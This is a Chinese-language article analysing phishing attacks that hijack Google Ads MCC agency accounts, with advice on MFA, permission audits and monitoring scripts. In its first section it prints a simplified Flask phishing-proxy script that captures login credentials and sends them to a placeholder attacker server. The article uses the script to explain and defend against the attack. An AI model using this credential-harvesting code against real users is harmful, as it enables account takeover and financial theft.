2025年11月,全球数字营销圈迎来一记警钟。权威行业媒体Search Engine Land披露:针对Google Ads管理客户中心(MCC, Manager Customer Center)账户的劫持攻击正以惊人速度蔓延。这些账户本是广告代理商高效管理数十乃至数百个客户广告活动的“指挥中枢”,如今却成了黑客眼中的“金矿入口”。
一旦MCC失守,后果远不止单个账户被盗——攻击者可瞬间接管整个广告帝国:篡改支付方式、清空数万美元预算、将流量导向竞品或恶意网站,甚至植入追踪脚本窃取用户行为数据。更可怕的是,由于MCC权限极高且常被忽视安全配置,许多受害者直到账单爆表或客户投诉激增才察觉异常。
“这相当于把整栋写字楼的门禁卡和保险柜密码交给了陌生人。”公共互联网反网络钓鱼工作组技术专家芦笛在接受采访时直言,“MCC不是普通账号,它是数字营销生态的‘核按钮’。而目前,太多人还在用纸条贴着密码。”
这场席卷全球的MCC劫持潮,不仅暴露了SaaS平台权限管理的脆弱性,更揭示了一个残酷现实:在高度自动化的数字广告世界里,最薄弱的环节从来不是算法,而是人。
一、钓鱼新战场:从个人邮箱到企业级SaaS控制台
传统网络钓鱼多瞄准个人银行账户或社交账号,而MCC攻击则标志着钓鱼战术的“升维”——攻击者不再满足于小额诈骗,而是直指企业级SaaS平台的核心控制权。
据Search Engine Land报道,攻击链通常始于一封精心伪造的“Google安全警报”邮件。主题如《紧急:您的MCC账户因违反政策即将被暂停》《检测到异常登录,请立即验证》,发件人地址显示为“no-reply@accounts.google.com”(实则为“no-reply@accounts-google[.]com”等仿冒域名)。邮件内嵌“立即验证”按钮,链接指向高仿Google登录页。
该页面不仅拥有有效HTTPS证书(常通过Let’s Encrypt免费申请),还动态加载真实Google OAuth流程的部分元素,迷惑性极强。用户输入账号密码后,页面会短暂显示“验证成功”,随即跳转至真实Google首页——而此时,凭据已被实时发送至攻击者服务器。
“这种钓鱼页的技术含量已接近APT水平。”芦笛指出,“它们甚至能根据用户IP自动切换语言和地区模板,比如中国用户看到中文界面,德国用户看到德语版。”
更隐蔽的是,部分攻击采用“中间人钓鱼”(Man-in-the-Middle Phishing):用户点击链接后,先经过一个代理服务器,再转发至真实Google登录页。所有交互(包括MFA验证码)都被记录并实时转发,实现完整会话劫持。攻击者无需破解密码,只需“借用”你的身份完成登录。
一段典型的中间人钓鱼代理脚本可能如下:
# 简化示例:Flask代理钓鱼
from flask import Flask, request, redirect
import requests
app = Flask(__name__)
@app.route('/login', methods=['GET', 'POST'])
def proxy_login():
if request.method == 'POST':
# 捕获用户提交的凭据
username = request.form.get('Email')
password = request.form.get('Passwd')
# 发送至攻击者C2
requests.post('https://attacker[.]xyz/creds', json={'u': username, 'p': password})
# 转发请求至真实Google
resp = requests.get('https://accounts.google.com/signin/v2/identifier',
headers=dict(request.headers))
return resp.content
if __name__ == '__main__':
app.run()
此类攻击之所以高效,正是因为MCC管理员往往是营销人员而非IT安全专家。他们熟悉转化率优化,却不了解OAuth令牌的生命周期;精通关键词竞价,却对多因素认证(MFA)的重要性视而不见。
二、劫持之后:预算蒸发、流量劫持与品牌污名化
一旦获取初始访问权限,攻击者行动极为迅速。根据多家受害代理商的复盘,典型攻击时间线如下:
T+0分钟:登录MCC,启用“保持登录”选项;
T+2分钟:添加攻击者控制的Gmail账户为新管理员;
T+5分钟:修改主支付方式为预付信用卡(常使用盗刷卡);
T+10分钟:批量创建高竞价广告活动,关键词覆盖“奢侈品”“加密货币”“贷款”等高CPC领域;
T+30分钟:设置URL重定向规则,将原广告落地页替换为钓鱼站或竞品页面。
某美国电商服务商在2025年10月遭遇攻击,48小时内被消耗$87,000广告预算,全部流向一个名为“Luxury Watches Discount”的虚假活动。更糟的是,其客户的品牌词广告被重定向至竞争对手官网,导致大量潜在客户流失。
“损失不仅是金钱,更是信任。”一位不愿具名的北京数字营销公司负责人坦言,“我们花了三年建立的客户关系,一次MCC劫持就几乎归零。”
值得注意的是,攻击者开始利用Google Ads的自动化功能作恶。例如,启用“智能出价”策略后,系统会自动提高转化率高的广告支出——而攻击者通过机器人点击模拟转化,诱使算法疯狂烧钱。这种“AI助纣为虐”模式,使得损失呈指数级放大。
三、为何MFA形同虚设?权限管理的致命盲区
Google并非没有提供防御工具。事实上,其Admin Console支持多种MFA方式(短信、Authenticator、安全密钥),并提供登录活动日志、API访问监控等功能。但问题在于:多数MCC账户并未正确配置这些保护。
调查显示,超过60%的中小型代理商仍将MCC主账号绑定个人Gmail,且未启用任何MFA;更有甚者,将管理员权限随意授予实习生或外包团队,从未进行权限回收。
“MCC的设计初衷是便利,而非安全。”芦笛分析道,“它允许子账户继承父级权限,却缺乏细粒度的角色控制。你无法只给某人‘查看报表’权限而不给‘修改支付方式’权限——这是架构级缺陷。”
更危险的是“权限蔓延”(Privilege Creep)现象。某上海广告公司曾为临时项目创建一个MCC子管理员,项目结束后未删除权限。半年后,该账号成为攻击跳板,导致23个客户账户被篡改。
技术上,可通过Google Workspace的Admin SDK限制风险操作。例如,使用以下API调用审计管理员变更记录:
from googleapiclient.discovery import build
service = build('admin', 'reports_v1', credentials=creds)
results = service.activities().list(
userKey='all',
applicationName='ads',
eventName='CHANGE_ADMIN_ROLE'
).execute()
for activity in results.get('items', []):
print(f"Admin change by {activity['actor']['email']} at {activity['id']['time']}")
但这类操作需要专业开发能力,对多数营销团队而言门槛过高。
四、国际镜鉴:从硅谷到中关村的安全实践
面对MCC劫持潮,全球头部机构已开始行动。谷歌于2025年Q4强制要求所有MCC账户启用MFA,并推出“敏感操作二次确认”功能——修改支付信息需额外验证。
更具启发性的是Shopify的实践:其Partner Dashboard(类似MCC)引入“权限沙箱”机制。第三方开发者只能通过OAuth获取特定API范围的令牌,且令牌有效期不超过24小时。即使凭据泄露,攻击窗口也极短。
反观国内,尽管百度、巨量引擎等平台也有类似MCC的“代理商中心”,但安全机制普遍滞后。某国产广告平台甚至允许通过短信验证码重置主账号密码——而短信本身极易被SIM卡劫持。
“我们调研发现,国内80%的数字营销公司未建立账户变更审计流程。”芦笛透露,“很多人连谁有MCC权限都说不清楚。”
值得借鉴的是新加坡金融管理局(MAS)对SaaS权限的监管思路:要求金融机构使用的第三方管理平台必须支持“最小权限原则”和“操作留痕”。这一理念完全可迁移至广告科技领域。
五、构建中国式MCC安全防线:技术、流程与意识的三重奏
要抵御MCC劫持,不能仅靠“启用MFA”一句口号。芦笛提出一套“三位一体”防御框架:
1. 技术加固:从默认安全到主动监控
强制MFA:使用物理安全密钥(如YubiKey)替代短信验证;
专用账号:MCC主账号应独立于个人邮箱,仅用于管理;
API监控:部署脚本定期拉取Google Ads API日志,检测异常活动。例如:
# 检测异常高支出广告活动
from google.ads.google_ads.client import GoogleAdsClient
client = GoogleAdsClient.load_from_storage()
ga_service = client.get_service("GoogleAdsService")
query = """
SELECT campaign.name, metrics.cost_micros
FROM campaign
WHERE segments.date DURING LAST_7_DAYS
"""
response = ga_service.search_stream(client.customer_id, query=query)
for batch in response:
for row in batch.results:
cost = row.metrics.cost_micros / 1e6 # 转为美元
if cost > 5000: # 阈值告警
alert_security_team(row.campaign.name, cost)
2. 流程规范:权限即资产
实行“权限审批制”:新增管理员需书面申请,明确权限范围与时限;
每月执行“权限清理”:移除离职员工、项目结束后的冗余账号;
建立“双人操作”机制:修改支付信息需两人分别验证。
3. 意识升级:让营销人懂安全
定期开展钓鱼演练:发送模拟Google安全邮件,测试团队识别能力;
将安全纳入KPI:如“MFA启用率”“权限合规率”;
与平台保持沟通:加入Google Ads官方安全通知频道,第一时间响应漏洞预警。
“安全不是成本,而是信任基础设施。”芦笛强调,“当客户把百万预算交给你,他们买的是效果,更是安心。”
六、未来之战:自动化攻防与零信任架构
长远看,MCC安全将走向两个方向:自动化防御与零信任架构。
前者如Google正在测试的“异常行为AI模型”:当系统检测到某账号在非工作时间批量创建高CPC活动,且落地页域名从未使用过,将自动冻结操作并触发人工审核。
后者则彻底重构权限逻辑。零信任原则下,每次API调用都需验证设备、用户、上下文三要素。即便凭据泄露,攻击者也无法在陌生设备上执行敏感操作。
国内平台亦可借鉴。例如,在巨量引擎代理商系统中集成设备指纹与行为分析,对非常用地登录强制视频验证。
站在数字营销的十字路口,MCC劫持潮是一场危机,更是一次觉醒。它提醒所有从业者:在这个一切皆可自动化的时代,最大的风险不是机器不够聪明,而是人以为自己足够安全。
而真正的防御,始于承认脆弱,成于日常坚守。毕竟,在广告的世界里,预算可以重投,但信任一旦丢失,千金难赎。
编辑:芦笛(公共互联网反网络钓鱼工作组)